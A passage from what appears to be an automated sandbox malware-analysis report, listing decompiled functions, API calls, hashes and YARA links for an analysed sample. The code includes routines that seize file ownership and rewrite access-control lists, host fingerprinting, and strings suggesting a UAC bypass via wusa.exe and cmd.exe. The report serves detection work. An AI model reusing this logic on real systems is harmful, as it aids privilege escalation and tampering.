						_t29 = _t29 + 1;
					} while (_t40 != 0);
					_t31 = _t29 - _t41 + _t42;
					goto L6;
					L30:
					_t42 = _t31;
					if( *_t31 != 0) {
						Sleep(0x1f4); // executed
					}
					_v8 = _v8 + 1;
				} while ( *_t31 != 0);
				goto L33;
			}

0x004091f4
0x004091fb
0x00409201
0x00409208
0x00409308
0x00000000
0x00000000
0x00000000
0x00000000
0x0040920e
0x0040920e
0x00409216
0x0040921c
0x0040923f
0x00409241
0x00409249
0x0040924b
0x0040924b
0x00409259
0x0040925e
0x00409261
0x00409270
0x00000000
0x00409272
0x00409279
0x0040927f
0x00000000
0x0040929b
0x0040928e
0x0040928e
0x0040928f
0x00409293
0x00000000
0x00000000
0x0040928c
0x0040929a
0x0040929a
0x00000000
0x0040929a
0x0040928c
0x00409298
0x00000000
0x004092a8
0x004092a5
0x004092b2
0x004092b2
0x004092b5
0x004092b5
0x004092b6
0x004092bf
0x004092cf
0x004092d5
0x004092db
0x00409319
0x0040931f
0x00000000
0x00000000
0x00000000
0x00000000
0x004092dd
0x004092dd
0x004092dd
0x004092e1
0x00000000
0x00000000
0x004092e7
0x004092e7
0x00000000
0x004092dd
0x004092a7
0x004092a7
0x004092b0
0x004092bd
0x00000000
0x004092bd
0x00000000
0x004092b0
0x00000000
0x00409298
0x00000000
0x00000000
0x00000000
0x00000000
0x00409281
0x00409281
0x00409281
0x00409282
0x00000000
0x00409287
0x00409270
0x00409226
0x0040922c
0x00000000
0x00000000
0x0040922e
0x00409230
0x00409230
0x00409233
0x00409233
0x00409235
0x00409236
0x0040923c
0x00000000
0x004092ea
0x004092ed
0x004092ef
0x004092f6
0x004092f6
0x004092fc
0x004092ff
0x00000000

APIs

ShellExecuteA.SHELL32(00000000,00000000,00000020,00000023,00000000,00000000), ref: 004092CF
Sleep.KERNELBASE(000001F4,00000000,00000000,000000C8), ref: 004092F6

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: ExecuteShellSleep
String ID:
API String ID: 4194306370-0
Opcode ID: c86309d44ccec62141d82a488bd432547af8b47106777d1a6e333b4945649de3
Instruction ID: 162d7f392e51f347a0f03a95c4dfe3fd2355f2c09eeccb2d2824a4f222a18d72
Opcode Fuzzy Hash: c86309d44ccec62141d82a488bd432547af8b47106777d1a6e333b4945649de3
Instruction Fuzzy Hash: 7D41EE718083497EEB269664988C7E73BA49B52310F2809FFD492B72D3D7BC4D818759

Uniqueness

Uniqueness Score: -1.00%

Function 00419D81, Relevance: 3.0, APIs: 2, Instructions: 39librarymemoryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(00441768,?,0041A635,?,?,?,?,0041B995,00400000,00000000,?,0000000A), ref: 00419DE2
VirtualProtect.KERNELBASE(00000040,00000000,?,0041A635,?,?,?,?,0041B995,00400000,00000000,?,0000000A), ref: 00419E61

Memory Dump Source

Source File: 0000001D.00000002.380442060.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_415000_3136.jbxd

Similarity

API ID: LibraryLoadProtectVirtual
String ID:
API String ID: 3279857687-0
Opcode ID: 6fe4be1b29b2fff6b157878c0b56705c4bb63ddac9543f36666507c4732849c4
Instruction ID: a44d3fd7188d438d037021823585f88e8d970895fa3d624442d68c6aa49d3ab3
Opcode Fuzzy Hash: 6fe4be1b29b2fff6b157878c0b56705c4bb63ddac9543f36666507c4732849c4
Instruction Fuzzy Hash: 69211B2C54C7C0D9E302E738EE087453E969323769F1841A991D55A2B2C7FF21A8CB3E

Uniqueness

Uniqueness Score: -1.00%

Function 00419DD8, Relevance: 3.0, APIs: 2, Instructions: 27librarymemoryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(00441768,?,0041A635,?,?,?,?,0041B995,00400000,00000000,?,0000000A), ref: 00419DE2
VirtualProtect.KERNELBASE(00000040,00000000,?,0041A635,?,?,?,?,0041B995,00400000,00000000,?,0000000A), ref: 00419E61

Memory Dump Source

Source File: 0000001D.00000002.380442060.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_415000_3136.jbxd

Similarity

API ID: LibraryLoadProtectVirtual
String ID:
API String ID: 3279857687-0
Opcode ID: 4e334d535af56fa0810b7a25bb3ddb1e4e542114f86c12e4814b62ee350c1eb0
Instruction ID: 1aa4839f38af6ffd0a5f10ae6327e5a36d7292e76679eb2ebd5643d0e20a332f
Opcode Fuzzy Hash: 4e334d535af56fa0810b7a25bb3ddb1e4e542114f86c12e4814b62ee350c1eb0
Instruction Fuzzy Hash: 0C019D2C44C3C0DDE302E738AE087413F96D727759F0841A8D1E55A2B2C7BA21A8CB3E

Uniqueness

Uniqueness Score: -1.00%

Function 00429836, Relevance: 3.0, APIs: 2, Instructions: 23memoryCOMMON

Download Yara Rule

APIs

___crtExitProcess.LIBCMTD ref: 00429845

Part of subcall function 00426690: ___crtCorExitProcess.LIBCMTD ref: 00426699

RtlAllocateHeap.NTDLL(0054B04C,00000000,00000001), ref: 00429878

Memory Dump Source

Source File: 0000001D.00000002.380442060.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_415000_3136.jbxd

Similarity

API ID: ExitProcess___crt$AllocateHeap
String ID:
API String ID: 215841669-0
Opcode ID: ab88841c96bfd5c5e774df825849cfd8fc0bd1e7f385775d39aa27ea3b064b30
Instruction ID: ca939949975dc5d1fdc83585f278ef9f36b530c32afa772091138142019f1f0c
Opcode Fuzzy Hash: ab88841c96bfd5c5e774df825849cfd8fc0bd1e7f385775d39aa27ea3b064b30
Instruction Fuzzy Hash: 3AE02274B00218FBEB14AF90F8867AA3324AB01348F08402AF80A09281D2799D81D79B

Uniqueness

Uniqueness Score: -1.00%

Function 006C0DF8, Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00000400,?,?,006C0223,?,?), ref: 006C0E02
SetErrorMode.KERNELBASE(00000000,?,?,006C0223,?,?), ref: 006C0E07

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: fc8cacf35872669303857950a0e440ad036042d0b10adadc32fc5e1330f70b4a
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: F6D0123114512CB7D7002B94DC09BDD7B1CDF05B66F008011FB0DD9181C770994046E5

Uniqueness

Uniqueness Score: -1.00%

Function 0040EBCC, Relevance: 3.0, APIs: 2, Instructions: 13
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040EBCC(long _a4) {
				void* _t3;
				void* _t7;

				_t3 = RtlAllocateHeap(GetProcessHeap(), 0, _a4); // executed
				_t7 = _t3;
				E0040EB74(_t7);
				return _t7;
			}

0x0040ebda
0x0040ebe0
0x0040ebe3
0x0040ebec

APIs

GetProcessHeap.KERNEL32(00000000,00000000,80000001,0040EBFE,7FFF0001,?,0040DB55,7FFF0001), ref: 0040EBD3
RtlAllocateHeap.NTDLL(00000000,?,0040DB55,7FFF0001), ref: 0040EBDA

Part of subcall function 0040EB74: GetProcessHeap.KERNEL32(00000000,00000000,0040EC28,00000000,?,0040DB55,7FFF0001), ref: 0040EB81
Part of subcall function 0040EB74: HeapSize.KERNEL32(00000000,?,0040DB55,7FFF0001), ref: 0040EB88

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateSize
String ID:
API String ID: 2559512979-0
Opcode ID: ee98881387dc159fbc66546a2e4b1eb81700a9f94495ef156612fafc796680c8
Instruction ID: 42103369b453d960252fa070f8f6fdc0a0ffae9c693debdf4c74a5c852f77059
Opcode Fuzzy Hash: ee98881387dc159fbc66546a2e4b1eb81700a9f94495ef156612fafc796680c8
Instruction Fuzzy Hash: 54C0803210422077C60127A57C0CEDA3E74DF04352F084425F505C1160CB794880879D

Uniqueness

Uniqueness Score: -1.00%

Function 00406DC2, Relevance: 1.5, APIs: 1, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406DC2(void* __ecx) {
				char _v261;
				char _v264;
				long _t6;
				intOrPtr* _t10;
				int _t13;
				intOrPtr _t20;
				void* _t21;

				_t6 =  *0x412f0c; // 0x68f2bd9c
				if(_t6 == 0) {
					E0040EF00( &_v264, E00406CC9(__ecx));
					_t10 =  &_v264;
					_t21 = _t10 + 1;
					do {
						_t20 =  *_t10;
						_t10 = _t10 + 1;
					} while (_t20 != 0);
					if(_t10 - _t21 < 3) {
						L5:
						 *0x412f0c = 0x61616161;
					} else {
						_v261 = 0;
						_t13 = GetVolumeInformationA( &_v264, 0, 0, 0x412f0c, 0, 0, 0, 0); // executed
						if(_t13 == 0) {
							goto L5;
						}
					}
					_t6 =  *0x412f0c; // 0x68f2bd9c
				}
				return _t6;
			}

0x00406dc5
0x00406dd5
0x00406de4
0x00406dea
0x00406df1
0x00406df4
0x00406df4
0x00406df6
0x00406df7
0x00406e00
0x00406e24
0x00406e24
0x00406e02
0x00406e14
0x00406e1a
0x00406e22
0x00000000
0x00000000
0x00406e22
0x00406e2e
0x00406e2e
0x00406e35

APIs

Part of subcall function 00406CC9: GetModuleHandleA.KERNEL32(kernel32,GetSystemWow64DirectoryA,PromptOnSecureDesktop,000000E4,00406DDC,000000C8), ref: 00406CE7
Part of subcall function 00406CC9: GetProcAddress.KERNEL32(00000000), ref: 00406CEE
Part of subcall function 00406CC9: GetSystemDirectoryA.KERNEL32 ref: 00406D14
Part of subcall function 00406CC9: GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 00406D2B

GetVolumeInformationA.KERNELBASE(?,00000000,00000000,00412F0C,00000000,00000000,00000000,00000000,000000C8), ref: 00406E1A

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: Directory$AddressHandleInformationModuleProcSystemVolumeWindows
String ID:
API String ID: 1823874839-0
Opcode ID: 345ca179d3c76e57dc7c5b3e21092807213ae32d0ff3695f39e28a6e5ad22b42
Instruction ID: 46d685041afc82653286dae93d5fe3173771f16ecf38a4b71df535c97c95e6ed
Opcode Fuzzy Hash: 345ca179d3c76e57dc7c5b3e21092807213ae32d0ff3695f39e28a6e5ad22b42
Instruction Fuzzy Hash: 55F028B9104218AFD710DB68DDC5ED777ADD704308F008476E242E3141D6B89D984B5C

Uniqueness

Uniqueness Score: -1.00%

Function 008EAB95, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Module32First.KERNEL32(00000000,00000224), ref: 008EABDD

Memory Dump Source

Source File: 0000001D.00000002.380987303.00000000008E8000.00000040.00000001.sdmp, Offset: 008E8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_8e8000_3136.jbxd

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 7b4aef88fafa8f0f7f26c9ac9ff065d8321cda784ee9e95b6a7737157035a15f
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: F7F0C2311003146FD7242AFA9C8CA6B72EDFF8AB30F100668E642D10C0DB70FC054662

Uniqueness

Uniqueness Score: -1.00%

Function 00426DF4, Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

__nh_malloc_dbg.LIBCMTD ref: 00426E0B
__nh_malloc_dbg.LIBCMTD ref: 00426F37

Memory Dump Source

Source File: 0000001D.00000002.380442060.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_415000_3136.jbxd

Similarity

API ID: __nh_malloc_dbg
String ID:
API String ID: 2526938719-0
Opcode ID: eb6f70d4c5fe2b6ced84d9c47a7b0dbf0a9b26c813ac870e7c4775d713371c5c
Instruction ID: 8a73a0893beaa485a2b036094ab5e466d6e303b846a2d26e9f1675cd45aeb971
Opcode Fuzzy Hash: eb6f70d4c5fe2b6ced84d9c47a7b0dbf0a9b26c813ac870e7c4775d713371c5c
Instruction Fuzzy Hash: 3CE0DFB1F88308DAD7309BA5A802758B760E754734F60836FEA35362C2DA7904008A18

Uniqueness

Uniqueness Score: -1.00%

Function 004248A0, Relevance: 1.5, APIs: 1, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

__encode_pointer.LIBCMTD ref: 004248A7

Part of subcall function 004247D0: __crt_wait_module_handle.LIBCMTD ref: 0042481C
Part of subcall function 004247D0: RtlEncodePointer.NTDLL(?), ref: 00424857

Memory Dump Source

Source File: 0000001D.00000002.380442060.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_415000_3136.jbxd

Similarity

API ID: EncodePointer__crt_wait_module_handle__encode_pointer
String ID:
API String ID: 2010845264-0
Opcode ID: 4910bf5801155143916dbb33b30045cd9bbeedd00758362c9e9c67699a610058
Instruction ID: f5a22d8d76dfb436911b056c120114b91b60b73b4de72b7af76d3d686cf470f9
Opcode Fuzzy Hash: 4910bf5801155143916dbb33b30045cd9bbeedd00758362c9e9c67699a610058
Instruction Fuzzy Hash: C1A0126254424823E00020833803B02350C83C163DE480022F51D055422942A4204097

Uniqueness

Uniqueness Score: -1.00%

Function 0041B810, Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

___security_init_cookie.LIBCMTD ref: 0041B815

Part of subcall function 0041B830: _check_managed_app.LIBCMTD ref: 0041B8AC
Part of subcall function 0041B830: __heap_init.LIBCMTD ref: 0041B8B6
Part of subcall function 0041B830: _fast_error_exit.LIBCMTD ref: 0041B8C4
Part of subcall function 0041B830: __mtinit.LIBCMTD ref: 0041B8CC
Part of subcall function 0041B830: _fast_error_exit.LIBCMTD ref: 0041B8D7
Part of subcall function 0041B830: __RTC_Initialize.LIBCMTD ref: 0041B8E9
Part of subcall function 0041B830: ___crtGetEnvironmentStringsW.LIBCMTD ref: 0041B912
Part of subcall function 0041B830: ___wsetargv.LIBCMTD ref: 0041B91C
Part of subcall function 0041B830: __wsetenvp.LIBCMTD ref: 0041B92F
Part of subcall function 0041B830: __cinit.LIBCMTD ref: 0041B944
Part of subcall function 0041B830: __wwincmdln.LIBCMTD ref: 0041B961

Memory Dump Source

Source File: 0000001D.00000002.380442060.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_415000_3136.jbxd

Similarity

API ID: _fast_error_exit$EnvironmentInitializeStrings___crt___security_init_cookie___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 3809881541-0
Opcode ID: e1e3c77240cc01c4a133dd0e081f226c1c898797633077b20999a03fb70af3d1
Instruction ID: 3fdc6537dd7a15bb4a2090ab69c82072cc8fd427e97d7223e3512c40030637b6
Opcode Fuzzy Hash: e1e3c77240cc01c4a133dd0e081f226c1c898797633077b20999a03fb70af3d1
Instruction Fuzzy Hash: 16A0223200033C02000033E33003B0E320C88C0B2C3C0002FF00C020038C2CE88280EE

Uniqueness

Uniqueness Score: -1.00%

Function 006C0920, Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000), ref: 006C0929

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 7ba80916a48acbfb0f046a5eb73e9b1892c8f9a247d3f52fd2d0df5884ae7060
Instruction ID: c0089d607f9342f2c15a261cd068abafb40f64debc35d3030ca853ef88393cfd
Opcode Fuzzy Hash: 7ba80916a48acbfb0f046a5eb73e9b1892c8f9a247d3f52fd2d0df5884ae7060
Instruction Fuzzy Hash: 879004F07441F051DC3035DC0C01F4500111741775F7037107130FF1D4DF4455000115

Uniqueness

Uniqueness Score: -1.00%

Function 008EA854, Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 008EA8A5

Memory Dump Source

Source File: 0000001D.00000002.380987303.00000000008E8000.00000040.00000001.sdmp, Offset: 008E8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_8e8000_3136.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 7a2e03deb9fc76c044a13017b0d69cf878ca1cda7ff98a1f131d4e76a59f3b7d
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: B3112D79A00208EFDB01DF99C985E99BFF5EF08751F0580A4F9489B362D371EA90DB81

Uniqueness

Uniqueness Score: -1.00%

Function 00419E69, Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNELBASE(00000000,0041A42B,?,?,?,?,0041B995,00400000,00000000,?,0000000A), ref: 00419E71

Memory Dump Source

Source File: 0000001D.00000002.380442060.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_415000_3136.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: c5652da4b9a0751b24a4bb7e442be5ed37a4c831d8d269b5dfcf17dbb6553f87
Instruction ID: 019fb2e64a9b276ebf310d41e95adf70c6358cc02637eb6adb2296fd202f371f
Opcode Fuzzy Hash: c5652da4b9a0751b24a4bb7e442be5ed37a4c831d8d269b5dfcf17dbb6553f87
Instruction Fuzzy Hash: 12B012B94413419BC7404F60AE047403F61F306703F000020F200D0674C7700080AB05

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00407809, Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 226
memoryCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E00407809(CHAR* _a4, signed int _a8) {
				signed int _v8;
				void* _v12;
				void* _v16;
				struct _ACL* _v20;
				signed int _v24;
				int _v28;
				long _v32;
				long _v36;
				long _v40;
				long _v44;
				int _v48;
				int _v52;
				union _SID_NAME_USE _v56;
				int _v60;
				void _v128;
				char _v384;
				char _v512;
				struct _SECURITY_DESCRIPTOR _v1536;
				struct _ACL* _t110;
				int _t120;
				intOrPtr _t121;
				signed int _t123;
				signed int _t141;
				char* _t146;
				signed int _t153;
				void* _t154;
				void* _t155;
				void* _t156;

				_t141 = 0;
				_v28 = 0;
				_v20 = 0;
				_v36 = 0x80;
				if(GetUserNameA( &_v384,  &_v36) == 0) {
					L42:
					return _v28;
				}
				_v32 = 0x44;
				_v40 = 0x80;
				if(LookupAccountNameA(0,  &_v384,  &_v128,  &_v32,  &_v512,  &_v40,  &_v56) == 0) {
					goto L42;
				}
				_v32 = GetLengthSid( &_v128);
				_v44 = 0x400;
				if(GetFileSecurityA(_a4, 5,  &_v1536, 0x400,  &_v44) == 0) {
					goto L42;
				} else {
					if(GetSecurityDescriptorOwner( &_v1536,  &_v16,  &_v48) != 0) {
						_v36 = 0x80;
						_v40 = 0x80;
						if(EqualSid( &_v128, _v16) == 0) {
							_v28 = 1;
							_t155 = LocalAlloc(0x40, 0x14);
							if(_t155 != 0) {
								LocalFree(_t155);
							}
						}
					}
					_v24 = _t141;
					if(GetSecurityDescriptorDacl( &_v1536,  &_v60,  &_v20,  &_v52) == 0) {
						L41:
						goto L42;
					}
					_t110 = _v20;
					if(_t110 == _t141) {
						goto L41;
					}
					_v8 = _v8 & _t141;
					if(0 >= _t110->AceCount) {
						goto L41;
					} else {
						goto L13;
					}
					do {
						L13:
						if(GetAce(_t110, _v8,  &_v12) == 0) {
							L32:
							_v8 = _v8 + 1;
							goto L33;
						}
						_t153 = 0;
						_v16 = _v12 + 8;
						if(_t141 <= 0) {
							L19:
							if(_t141 < 0x20) {
								 *((intOrPtr*)(_t156 + _t141 * 4 - 0xfc)) = _v16;
								_t141 = _t141 + 1;
							}
							_t120 = EqualSid( &_v128, _v16);
							_t146 = _v12;
							if(_t120 == 0) {
								_t121 = 0x1200a8;
							} else {
								asm("sbb eax, eax");
								_t121 = ( ~_a8 & 0x00090046) + 0x1601b9;
							}
							if( *((intOrPtr*)(_t146 + 4)) != _t121) {
								 *((intOrPtr*)(_t146 + 4)) = _t121;
								_t146 = _v12;
								_v24 = 1;
							}
							if( *_t146 != 0 || ( *(_t146 + 1) & 0x00000010) != 0) {
								 *_t146 = 0;
								_t66 = _v16 + 8; // 0xc8685f74
								_t123 =  *_t66;
								if(_t123 != 0) {
									 *((char*)(_v12 + 1)) = (_t123 & 0xffffff00 | _t123 - 0x00000050 > 0x00000000) + 2;
								} else {
									 *((char*)(_v12 + 1)) = 0xb;
								}
								_v24 = 1;
							}
							goto L32;
						}
						while(EqualSid( *(_t156 + _t153 * 4 - 0xfc), _v16) == 0) {
							_t153 = _t153 + 1;
							if(_t153 < _t141) {
								continue;
							}
							break;
						}
						if(_t153 >= _t141) {
							goto L19;
						}
						DeleteAce(_v20, _v8);
						_v24 = 1;
						L33:
						_t110 = _v20;
					} while (_v8 < (_t110->AceCount & 0x0000ffff));
					if(_v24 != 0) {
						_v28 = 1;
						_t154 = LocalAlloc(0x40, 0x14);
						if(_t154 != 0) {
							if(InitializeSecurityDescriptor(_t154, 1) != 0 && SetSecurityDescriptorDacl(_t154, 1, _v20, 0) != 0 && SetFileSecurityA(_a4, 4, _t154) != 0) {
								_v28 = 1;
							}
							LocalFree(_t154);
						}
					}
					goto L41;
				}
			}

0x0040781e
0x00407826
0x00407829
0x0040782c
0x00407837
0x00407a8e
0x00407a94
0x00407a94
0x0040785c
0x00407863
0x0040786e
0x00000000
0x00000000
0x0040787e
0x0040788b
0x004078a2
0x00000000
0x004078a8
0x004078c3
0x004078cc
0x004078cf
0x004078da
0x004078e0
0x004078e9
0x004078ed
0x00407917
0x00407917
0x004078ed
0x004078da
0x00407930
0x0040793b
0x00407a8d
0x00000000
0x00407a8d
0x00407941
0x00407946
0x00000000
0x00000000
0x0040794c
0x00407955
0x00000000
0x00000000
0x00000000
0x00000000
0x0040795b
0x0040795b
0x0040796b
0x00407a2a
0x00407a2a
0x00000000
0x00407a2a
0x00407977
0x00407979
0x0040797e
0x004079ae
0x004079b1
0x004079b6
0x004079bd
0x004079bd
0x004079c5
0x004079cb
0x004079d0
0x004079e5
0x004079d2
0x004079d7
0x004079de
0x004079de
0x004079ed
0x004079ef
0x004079f2
0x004079f5
0x004079f5
0x004079fb
0x00407a03
0x00407a09
0x00407a09
0x00407a0e
0x00407a24
0x00407a10
0x00407a13
0x00407a13
0x00407a27
0x00407a27
0x00000000
0x004079fb
0x00407980
0x00407994
0x00407997
0x00000000
0x00000000
0x00000000
0x00407997
0x0040799b
0x00000000
0x00000000
0x004079a3
0x004079a9
0x00407a2d
0x00407a2d
0x00407a34
0x00407a41
0x00407a47
0x00407a50
0x00407a54
0x00407a60
0x00407a83
0x00407a83
0x00407a87
0x00407a87
0x00407a54
0x00000000
0x00407a41

APIs

GetUserNameA.ADVAPI32(?,?), ref: 0040782F
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00407866
GetLengthSid.ADVAPI32(?), ref: 00407878
GetFileSecurityA.ADVAPI32(?,00000005,?,00000400,?), ref: 0040789A
GetSecurityDescriptorOwner.ADVAPI32(?,00407F63,?), ref: 004078B8
EqualSid.ADVAPI32(?,00407F63), ref: 004078D2
LocalAlloc.KERNEL32(00000040,00000014), ref: 004078E3
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 004078F1
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 00407901
SetFileSecurityA.ADVAPI32(?,00000001,00000000), ref: 00407910
LocalFree.KERNEL32(00000000), ref: 00407917
GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00407933
GetAce.ADVAPI32(?,00000000,?), ref: 00407963
EqualSid.ADVAPI32(?,00407F63), ref: 0040798A
DeleteAce.ADVAPI32(?,00000000), ref: 004079A3
EqualSid.ADVAPI32(?,00407F63), ref: 004079C5
LocalAlloc.KERNEL32(00000040,00000014), ref: 00407A4A
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00407A58
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,?,00000000), ref: 00407A69
SetFileSecurityA.ADVAPI32(?,00000004,00000000), ref: 00407A79
LocalFree.KERNEL32(00000000), ref: 00407A87

Strings

D, xrefs: 0040785C

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$Local$EqualFile$AllocDaclFreeInitializeNameOwner$AccountDeleteLengthLookupUser
String ID: D
API String ID: 3722657555-2746444292
Opcode ID: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction ID: df0c13f2d89176358eaf39038022480abc221899387876bf5e0f356ce13a0778
Opcode Fuzzy Hash: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction Fuzzy Hash: 59813C71E04119ABDB11CFA5DD44FEFBBB8AB08340F14817AE505F6290D739AA41CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00401280, Relevance: 30.2, APIs: 9, Strings: 8, Instructions: 417stringCOMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(?), ref: 0040139A
lstrlenW.KERNEL32(-00000003), ref: 00401571

Strings

wusa.exe, xrefs: 00401388
useless, xrefs: 0040161E
, xrefs: 00401462
%systemroot%\system32\cmd.exe, xrefs: 00401316
@, xrefs: 00401380
<, xrefs: 00401378
uac, xrefs: 00401628
D, xrefs: 004015C6

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: ExecuteShelllstrlen
String ID: $%systemroot%\system32\cmd.exe$<$@$D$uac$useless$wusa.exe
API String ID: 1628651668-1839596206
Opcode ID: 2389670ef0d52bc0af3abcc9b5081f8297bcd674c671d6a9091d706800eac20c
Instruction ID: 915494465e6448ea0d8334ed2feda226c725056e28db06d0983f622db304c09c
Opcode Fuzzy Hash: 2389670ef0d52bc0af3abcc9b5081f8297bcd674c671d6a9091d706800eac20c
Instruction Fuzzy Hash: E5F19FB55083419FD720DF64C888BABB7E5FB88304F10892EF596A73A0D778D944CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00401D96, Relevance: 30.0, APIs: 6, Strings: 11, Instructions: 205
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E00401D96(void* __ecx, intOrPtr* _a4) {
				struct _OSVERSIONINFOA _v156;
				struct _SYSTEM_INFO _v192;
				char _v196;
				intOrPtr _v200;
				intOrPtr _t59;
				signed int _t61;
				signed int _t63;
				void* _t65;
				intOrPtr _t66;
				intOrPtr _t67;
				signed int _t71;
				intOrPtr _t93;
				intOrPtr _t96;
				intOrPtr _t97;
				intOrPtr _t102;
				intOrPtr* _t103;
				intOrPtr* _t105;
				void* _t109;
				void* _t110;
				void* _t111;
				void* _t112;
				void* _t113;
				void* _t114;

				_t105 = _a4;
				_t102 = 0x64;
				E0040EE2A(__ecx, _t105, 0, _t102);
				_t109 =  &_v200 + 0xc;
				 *_t105 = _t102;
				_v156.dwOSVersionInfoSize = 0x9c;
				if(GetVersionExA( &_v156) == 0) {
					 *((char*)(_t105 + 0x41)) = 0;
				} else {
					 *((char*)(_t105 + 0x41)) = (_v156.dwMajorVersion << 4) + _v156.dwMinorVersion;
				}
				GetSystemInfo( &_v192);
